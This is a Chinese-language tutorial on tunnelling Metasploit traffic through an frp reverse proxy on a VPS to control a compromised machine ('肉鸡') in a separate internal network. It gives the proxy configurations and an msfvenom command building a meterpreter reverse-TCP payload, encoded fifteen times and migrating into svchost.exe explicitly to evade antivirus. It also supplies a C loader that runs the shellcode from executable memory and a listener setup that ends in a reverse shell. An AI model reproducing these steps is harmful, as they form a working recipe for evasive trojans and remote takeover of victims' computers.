frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。主要他是一个开源的。
下载地址:https://github.com/fatedier/frp/releases 我是下载linux_amd64
msf配合frp使用内网穿透。kali和肉鸡都是在不同网段的内网,如何让他们通信呢?使用frp就简单了。
基本配置
1 | 公网vps:45.32.*.* |
frp无需安装,配置运行即可。
vps配置
只需要frps、frps.ini。1
2
3
4
5
6
7bind_addr = 0.0.0.0 //填0.0.0.0即可意为本机ip
bind_port = 6531 //frp连接端口
dashboard_addr = 0.0.0.0 //填0.0.0.0即可意为本机ip
dashboard_port = 7500 //网页访问端口
dashboard_user = admin //用户名
dashboard_pwd = hamal //密码
token = hamal //frp连接口令
配置好后即可运行服务器端:./frps -c ./frps.ini
通过浏览器查看 frp 的状态以及代理统计信息展示。http://45.32.*.*:7500 输入用户名和密码
kali配置
只需要frpc、frpsc.ini。1
2
3
4
5
6
7
8
9[common]
server_addr = 45.32.*.* //vps的ip
server_port = 6531 //连接frp的端口
token = hamal //连接frp口令
[msf]
type = tcp //tcp协议
local_ip = 127.0.0.1 //填127.0.0.1即可
local_port = 6759 //转发到vps的点端口
remote_port = 6000 //访问端口
运行客户端:./frpc -c ./frpc.ini
msf生成木马
1 | msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=45.32.*.* |
这里的paylload选择windows/meterpreter/reverse_tcp,LHOST填vps的ip,LPORT填6000。-e x86/shikata_ga_nai -i 15是编码15次,而PrependMigrate=true、PrependMigrateProc=svchost.exe使这个程序会迁移到svchost.exe进程,还可以使用windows/meterpreter/reverse_tcp_rc4这个payload,对会话进行加密,增加免杀能力。
生成一个shellcode.c文件,接着编译生成木马,我使用vc++6.0编译。
新建一个c++的win32项目将以下代码模板复制进去,在把你得到的shellcode那长串数字复制到shellcode的位置,生成exe文件。1
2
3
4
5
6
7
8
9
10
11#include<stdio.h>
#include<windows.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //去除窗口
unsigned char shellcode[]=
(这里放生成的shellcode)
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
msf配置监听端
1 | use exploit/multi/handler |
监听成功,放木马到内网的肉鸡运行。
运行成功,收到反弹shell。
总结
使用frp可以解决两天不同网段的内网连接,特别是使用msf的时候。msf是比较简单的免杀方式,依靠msf生成的shellcode免杀,还不错。